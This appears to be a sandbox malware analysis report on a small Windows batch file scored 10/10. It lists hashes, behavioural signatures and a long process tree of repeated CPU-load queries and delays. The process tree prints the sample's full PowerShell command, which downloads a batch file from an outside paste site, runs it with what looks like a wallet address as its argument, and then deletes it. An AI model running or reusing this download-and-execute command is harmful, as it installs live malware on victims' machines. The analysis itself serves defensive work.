Analysis
-
max time kernel
150s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 03:23
Static task
static1
Behavioral task
behavioral1
Sample
242742229414280.bat
Resource
win7-20240508-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
242742229414280.bat
Resource
win10v2004-20240508-en
5 signatures
150 seconds
Behavioral task
behavioral3
Sample
242742229414280.bat
Resource
win11-20240508-en
0 signatures
150 seconds
General
-
Target
242742229414280.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://rentry.co/regele/raw
Signatures
-
Delays execution with timeout.exe 64 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 1876 timeout.exe 3064 timeout.exe 848 timeout.exe 820 timeout.exe 2632 timeout.exe 1204 timeout.exe 1352 timeout.exe 1884 timeout.exe 2016 timeout.exe 2032 timeout.exe 484 timeout.exe 2028 timeout.exe 1040 timeout.exe 2068 timeout.exe 2780 timeout.exe 2568 timeout.exe 2560 timeout.exe 1512 timeout.exe 1576 timeout.exe 2668 timeout.exe 2584 timeout.exe 612 timeout.exe 2068 timeout.exe 1484 timeout.exe 884 timeout.exe 2448 timeout.exe 2784 timeout.exe 2868 timeout.exe 1472 timeout.exe 2332 timeout.exe 1572 timeout.exe 2896 timeout.exe 2528 timeout.exe 1436 timeout.exe 2400 timeout.exe 2616 timeout.exe 1252 timeout.exe 2984 timeout.exe 2036 timeout.exe 2884 timeout.exe 2972 timeout.exe 840 timeout.exe 2268 timeout.exe 1908 timeout.exe 2428 timeout.exe 2264 timeout.exe 2360 timeout.exe 2324 timeout.exe 1540 timeout.exe 2680 timeout.exe 2712 timeout.exe 1480 timeout.exe 2384 timeout.exe 2564 timeout.exe 2492 timeout.exe 1964 timeout.exe 1424 timeout.exe 2072 timeout.exe 2948 timeout.exe 2612 timeout.exe 1520 timeout.exe 1448 timeout.exe 536 timeout.exe 2120 timeout.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1960 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 1960 powershell.exe Token: SeIncreaseQuotaPrivilege 3012 WMIC.exe Token: SeSecurityPrivilege 3012 WMIC.exe Token: SeTakeOwnershipPrivilege 3012 WMIC.exe Token: SeLoadDriverPrivilege 3012 WMIC.exe Token: SeSystemProfilePrivilege 3012 WMIC.exe Token: SeSystemtimePrivilege 3012 WMIC.exe Token: SeProfSingleProcessPrivilege 3012 WMIC.exe Token: SeIncBasePriorityPrivilege 3012 WMIC.exe Token: SeCreatePagefilePrivilege 3012 WMIC.exe Token: SeBackupPrivilege 3012 WMIC.exe Token: SeRestorePrivilege 3012 WMIC.exe Token: SeShutdownPrivilege 3012 WMIC.exe Token: SeDebugPrivilege 3012 WMIC.exe Token: SeSystemEnvironmentPrivilege 3012 WMIC.exe Token: SeRemoteShutdownPrivilege 3012 WMIC.exe Token: SeUndockPrivilege 3012 WMIC.exe Token: SeManageVolumePrivilege 3012 WMIC.exe Token: 33 3012 WMIC.exe Token: 34 3012 WMIC.exe Token: 35 3012 WMIC.exe Token: SeIncreaseQuotaPrivilege 3012 WMIC.exe Token: SeSecurityPrivilege 3012 WMIC.exe Token: SeTakeOwnershipPrivilege 3012 WMIC.exe Token: SeLoadDriverPrivilege 3012 WMIC.exe Token: SeSystemProfilePrivilege 3012 WMIC.exe Token: SeSystemtimePrivilege 3012 WMIC.exe Token: SeProfSingleProcessPrivilege 3012 WMIC.exe Token: SeIncBasePriorityPrivilege 3012 WMIC.exe Token: SeCreatePagefilePrivilege 3012 WMIC.exe Token: SeBackupPrivilege 3012 WMIC.exe Token: SeRestorePrivilege 3012 WMIC.exe Token: SeShutdownPrivilege 3012 WMIC.exe Token: SeDebugPrivilege 3012 WMIC.exe Token: SeSystemEnvironmentPrivilege 3012 WMIC.exe Token: SeRemoteShutdownPrivilege 3012 WMIC.exe Token: SeUndockPrivilege 3012 WMIC.exe Token: SeManageVolumePrivilege 3012 WMIC.exe Token: 33 3012 WMIC.exe Token: 34 3012 WMIC.exe Token: 35 3012 WMIC.exe Token: SeIncreaseQuotaPrivilege 2596 WMIC.exe Token: SeSecurityPrivilege 2596 WMIC.exe Token: SeTakeOwnershipPrivilege 2596 WMIC.exe Token: SeLoadDriverPrivilege 2596 WMIC.exe Token: SeSystemProfilePrivilege 2596 WMIC.exe Token: SeSystemtimePrivilege 2596 WMIC.exe Token: SeProfSingleProcessPrivilege 2596 WMIC.exe Token: SeIncBasePriorityPrivilege 2596 WMIC.exe Token: SeCreatePagefilePrivilege 2596 WMIC.exe Token: SeBackupPrivilege 2596 WMIC.exe Token: SeRestorePrivilege 2596 WMIC.exe Token: SeShutdownPrivilege 2596 WMIC.exe Token: SeDebugPrivilege 2596 WMIC.exe Token: SeSystemEnvironmentPrivilege 2596 WMIC.exe Token: SeRemoteShutdownPrivilege 2596 WMIC.exe Token: SeUndockPrivilege 2596 WMIC.exe Token: SeManageVolumePrivilege 2596 WMIC.exe Token: 33 2596 WMIC.exe Token: 34 2596 WMIC.exe Token: 35 2596 WMIC.exe Token: SeIncreaseQuotaPrivilege 2596 WMIC.exe Token: SeSecurityPrivilege 2596 WMIC.exe Token: SeTakeOwnershipPrivilege 2596 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 2140 wrote to memory of 1960 2140 cmd.exe powershell.exe PID 2140 wrote to memory of 1960 2140 cmd.exe powershell.exe PID 2140 wrote to memory of 1960 2140 cmd.exe powershell.exe PID 2140 wrote to memory of 2440 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2440 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2440 2140 cmd.exe cmd.exe PID 2440 wrote to memory of 3012 2440 cmd.exe WMIC.exe PID 2440 wrote to memory of 3012 2440 cmd.exe WMIC.exe PID 2440 wrote to memory of 3012 2440 cmd.exe WMIC.exe PID 2140 wrote to memory of 2784 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2784 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2784 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2332 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2332 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2332 2140 cmd.exe cmd.exe PID 2332 wrote to memory of 2596 2332 cmd.exe WMIC.exe PID 2332 wrote to memory of 2596 2332 cmd.exe WMIC.exe PID 2332 wrote to memory of 2596 2332 cmd.exe WMIC.exe PID 2140 wrote to memory of 2428 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2428 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2428 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2448 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2448 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2448 2140 cmd.exe cmd.exe PID 2448 wrote to memory of 2480 2448 cmd.exe WMIC.exe PID 2448 wrote to memory of 2480 2448 cmd.exe WMIC.exe PID 2448 wrote to memory of 2480 2448 cmd.exe WMIC.exe PID 2140 wrote to memory of 2896 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2896 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2896 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2972 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2972 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2972 2140 cmd.exe cmd.exe PID 2972 wrote to memory of 2256 2972 cmd.exe WMIC.exe PID 2972 wrote to memory of 2256 2972 cmd.exe WMIC.exe PID 2972 wrote to memory of 2256 2972 cmd.exe WMIC.exe PID 2140 wrote to memory of 612 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 612 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 612 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 840 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 840 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 840 2140 cmd.exe cmd.exe PID 840 wrote to memory of 2112 840 cmd.exe WMIC.exe PID 840 wrote to memory of 2112 840 cmd.exe WMIC.exe PID 840 wrote to memory of 2112 840 cmd.exe WMIC.exe PID 2140 wrote to memory of 1204 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 1204 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 1204 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2420 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2420 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 2420 2140 cmd.exe cmd.exe PID 2420 wrote to memory of 2720 2420 cmd.exe WMIC.exe PID 2420 wrote to memory of 2720 2420 cmd.exe WMIC.exe PID 2420 wrote to memory of 2720 2420 cmd.exe WMIC.exe PID 2140 wrote to memory of 2068 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2068 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 2068 2140 cmd.exe timeout.exe PID 2140 wrote to memory of 1768 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 1768 2140 cmd.exe cmd.exe PID 2140 wrote to memory of 1768 2140 cmd.exe cmd.exe PID 1768 wrote to memory of 1480 1768 cmd.exe WMIC.exe PID 1768 wrote to memory of 1480 1768 cmd.exe WMIC.exe PID 1768 wrote to memory of 1480 1768 cmd.exe WMIC.exe PID 2140 wrote to memory of 1540 2140 cmd.exe timeout.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\242742229414280.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
